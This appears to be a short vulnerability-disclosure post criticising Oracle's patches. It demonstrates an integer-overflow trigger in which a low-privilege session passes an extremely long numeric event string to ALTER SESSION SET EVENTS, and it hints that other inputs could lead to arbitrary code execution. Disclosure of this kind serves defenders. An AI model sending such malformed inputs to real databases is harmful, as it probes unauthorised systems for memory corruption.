I can't believe it. Oracle releases new patches and they have not been
solved one of the main problems: A user with only the SELECT privilege can
do WHATEVER (S)HE WANTS WITH THE ENTIRE DATABASE!!!

I'm not sure if is time to full disclosure it but, anyway, I will "full
disclosure" one inocent issue, an integer overflow:

Example:
–Connect with any user with only CREATE SESSION
SQL> alter session set events '10046 trace name context forever, level 16';

Session altered.

SQL> alter session set events
'10046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004

It's not even a crash but (be sure) that there are other "combinations" that
makes it vulnerable to integer overflows allowing the execution of
arbritrary code.
